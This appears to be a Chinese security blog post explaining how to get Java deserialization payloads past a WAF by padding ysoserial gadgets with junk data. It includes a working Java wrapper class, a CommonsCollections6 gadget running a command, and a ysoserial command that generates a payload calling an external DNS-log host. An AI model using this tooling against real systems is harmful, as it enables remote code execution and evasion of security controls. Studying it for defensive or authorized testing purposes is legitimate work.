0x01 背景
前几周有个同事发给我一个授权的站点,需要拿下webshell权限。发现存在Java反序列化漏洞,但是有WAF,ysoserial生成的序列化数据直接就被拦截了。
绕WAF的前提自然是先摸清WAF拦截的规则。我先是把序列化头aced0005
删掉,发现还是被拦截了,看来WAF没开启无脑的hw模式。
接着将序列化数据当中的class名破坏,发现不再拦截了。说明WAF应该是把gadget的class加入了规则。
考虑到大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。于是我在序列化头后加了50000
个x
字符,发现WAf不再拦截,证明这个思路可行!
这样虽然绕过了WAF,但新的问题也来了。序列化数据是二进制数据,直接手工在burp里加入垃圾数据破坏了序列化数据的结构,后端代码并没有反序列化成功。接下来继续解决这个问题。
0x02 如何给序列化数据加脏数据?
我的思路是需要找到一个class可以序列化,它可以把我们的脏数据对象
和ysoserial gadget对象
一起包裹起来。
1 2 3 4 5
| class A { new byte[50000]{12,12,12....} ...... ysoserial gadget object }
|
所以我们要找的class,第一需要实现java.io.Serializable
接口,第二可以存储任意对象 。这么看来集合类型就非常符合我们的需求。
- ArrayList
- LinkedList
- HashMap
- LinkedHashMap
- TreeMap
- ……
伪代码如下:
1 2 3 4
| List<Object> arrayList = new ArrayList<Object>(); arrayList.add(dirtyData); arrayList.add(gadget); new ObjectOutputStream(new FileOutputStream("/tmp/bypass-waf.ser")).writeObject(arrayList);
|
0x03 改造ysoserial
为了方便日后使用,我们可以改造下ysoserial,让所有gadget都支持添加大量垃圾数据。大致的流程调用是,构造函数传入gadget对象以及垃圾数据长度,然后调用doWrap方法随机创建一个集合类型把随机生成的脏数据和gadget对象存储起来,最终序列化该对象即可拿到bypass WAF的序列化数据。具体实现参考如下代码和注释。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| public class DirtyDataWrapper { private int dirtyDataSize; private String dirtyData; private Object gadget;
public DirtyDataWrapper(Object gadget, int dirtyDataSize){ this.gadget = gadget; this.dirtyDataSize = dirtyDataSize; }
public Object doWrap(){ Object wrapper = null; dirtyData = getLongString(dirtyDataSize); int type = (int)(Math.random() * 10) % 10 + 1; switch (type){ case 0: List<Object> arrayList = new ArrayList<Object>(); arrayList.add(dirtyData); arrayList.add(gadget); wrapper = arrayList; break; case 1: List<Object> linkedList = new LinkedList<Object>(); linkedList.add(dirtyData); linkedList.add(gadget); wrapper = linkedList; break; case 2: HashMap<String,Object> map = new HashMap<String, Object>(); map.put("a",dirtyData); map.put("b",gadget); wrapper = map; break; case 3: LinkedHashMap<String,Object> linkedHashMap = new LinkedHashMap<String,Object>(); linkedHashMap.put("a",dirtyData); linkedHashMap.put("b",gadget); wrapper = linkedHashMap; break; default: case 4: TreeMap<String,Object> treeMap = new TreeMap<String, Object>(); treeMap.put("a",dirtyData); treeMap.put("b",gadget); wrapper = treeMap; break; } return wrapper; }
public static String getLongString(int length){ String str = ""; for (int i=0;i<length;i++){ str += "x"; } return str; }
public static void main(String[] args) throws Exception{ Object cc6 = new CommonsCollections6().getObject("raw_cmd:nslookup xxx.dnslog.cn"); DirtyDataWrapper dirtyDataFactory = new DirtyDataWrapper(cc6,100); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/tmp/cc6.ser")); objectOutputStream.writeObject(dirtyDataFactory.doWrap()); objectOutputStream.flush(); objectOutputStream.close(); } }
|
完整代码请移步ysoserial-for-woodpecker项目。通过如下命令就可以生成带有40000脏数据
的CommsonCollects6序列化数据。
1
| java -jar ysoserial-for-woodpecker-<version>.jar -g CommonsCollections6 -a "raw_cmd:nslookup win.4lu19g.dnslog.cn" --dirt-data-length 400000 > cc6-dnslog.ser
|
把cc6-dnslog.ser
复制到burp中发送,完美饶过waf收到dnslog!
0x04 留一个小问题
其实不是所有的集合类都适合用于包裹脏数据和gadget,比如LinkedHashSet
,HashSet
,TreeSet
等类就不适合。至于为何,留给大家思考。